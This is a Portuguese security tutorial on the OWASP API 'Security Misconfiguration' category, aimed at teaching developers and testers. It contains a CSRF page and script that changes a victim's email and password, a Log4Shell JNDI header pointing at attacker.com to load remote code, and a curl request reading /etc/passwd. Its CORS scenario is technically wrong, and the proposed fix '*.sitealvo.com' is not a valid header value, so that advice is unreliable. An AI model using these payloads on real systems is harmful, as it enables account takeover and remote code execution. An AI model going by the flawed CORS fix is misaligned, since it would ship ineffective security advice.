OWASP TOP 10 API - Security Misconfiguration
Nesse artigo, veremos como ocorre a vulnerabilidade conhecida como: "Security Misconfiguration". Essa vulnerabilidade é muito encontrada em cenários reais, portanto está na oitava posição do OWASP API Security Top 10.
O que é Security Misconfiguration?
O Security Misconfiguration é uma vulnerabilidade que se baseia na configuração insegura de serviços, permitindo com que um invasor prejudique a aplicação.
Uma API pode estar vulnerável se:
- Se houver permissões configuradas incorretamente nos serviços de nuvem ou na API.
- Os patches de segurança mais recentes estão ausentes ou os sistemas estão desatualizados
- Recursos desnecessários estão ativados (por exemplo, métodos HTTP, recursos de registro)
- Existem discrepâncias na forma como as solicitações recebidas são processadas pelos servidores na cadeia de servidores HTTP
- A segurança da camada de transporte (TLS) está ausente
- As diretivas de segurança ou controle de cache não são enviadas aos clientes
- Uma política de compartilhamento de recursos entre origens (CORS) está ausente ou definida incorretamente
- As mensagens de erro expõem outras informações confidenciais
Exemplos de cenários de ataque:
Cenário 1
Uma API possuí o endpoint /v1/profile/update
, ele permite com que o usuário atualize sua senha, email, endereço, etc... Na etapa de configuração de CORS, o Access-Control-Allow-Origin
foi configurado para permitir requisições de qualquer origem:
HTTP/1.1 200 OK
Access-Control-Allow-Methods: POST
Access-Control-Allow-Origin: *
...
{
"status": "success",
"message": "updated"
}
Isso permite com que um atacante roube contas explorando uma vulnerabilidade conhecida como CSRF.
Considere que a API vulnerável está em "https://sitealvo.com/api".
Um atacante poderia criar um site com um javascript malicioso para atualizar as informações das vítimas automaticamente:
index.html
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Hello</title>
<script src="malicious.js"></script>
</head>
<body>
<h1>Hello</h1>
</body>
</html>
malicious.js
const malicious_data = {"email": "[email protected]", "password": "newpassword123"}
fetch("https://sitealvo.com/api/v1/profile/update", {
method: "POST",
headers: {
"Content-type": "application/json"
},
body: JSON.stringify(malicious_data)
});
Assim que um usuário do site "https://sitealvo.com" acessar o site do atacante, seus dados serão atualizados.
Para previnir esse ataque basta configurar o header Access-Control-Allow-Origin
para permitir apenas requisições que tenham origem do próprio domínio:
HTTP/1.1 200 OK
Access-Control-Allow-Methods: POST
Access-Control-Allow-Origin: *.sitealvo.com
...
{
"status": "success",
"message": "updated"
}
Cenário 2
Uma API utiliza o Log4j-api para gravar as requisições dos usuários em um arquivo de log. Se o Log4j-api não estiver atualizado, e o usuário tiver controle sobre o conteúdo armazenado nos arquivos de log, seria extremamente prejudicial para a aplicação, pois um atacante conseguiria explorar uma vulnerabilidade no Log4j conhecida como Log4shell, conseguindo RCE no servidor.
Supondo que a aplicação armazene todos os dados de uma requisição no arquivo de log, um atacante poderia enviar a seguinte requisição maliciosa para obter RCE:
GET /api/v1/users/3
Content-type: application/json
X-XPL-HEADER: ${jndi:ldap://attacker.com/Malicious.class}
X-Access-Token: xxx.xxx.xxx
E para gerar e hospedar a classe maliciosa, ele poderia utilizar exploits públicos, como de exemplo:
O problema nesse cenário é que o Log4j está desatualizado, e isso prejudicou a aplicação, porém se ele for atualizado, a vulnerabilidade será corrigida.
Cenário 3
Um website utiliza o EJS para servir seus templates e arquivos estáticos. No seu desenvolvimento, o programador configurou o EJS para servir a pasta "./public", assim quando o usuário acessar "/images/crowsec.png" o arquivo "./public/images/crowsec.png" será enviado como resposta.
const express = require('express');
const app = express()
app.set('view engine', 'ejs')
app.use('/', express.static('./public/'));
...
Porém após uma manutenção no código, o desenvolvedor adicionou o seguinte código:
const express = require('express');
const app = express();
app.set('view engine', 'ejs')
app.use('/public/', express.static('./public/'));
app.use('/', express.static('/'));
...
Agora esse código possuí uma misconfiguration, pois está servindo a raiz do sistema como diretório para arquivos estáticos. Com isso, um usuário mal intencionado consegue ler arquivos do sistema, como o /etc/passwd. Usando o CURL para isso:
curl http://site.com/etc/passwd
Uma prática muito importante é configurar para servir apenas os diretórios/arquivos que estão no diretório da aplicação usando "__dirname":
const express = require('express');
const app = express();
app.set('view engine', 'ejs')
app.use('/public/', express.static(__dirname + '/public'));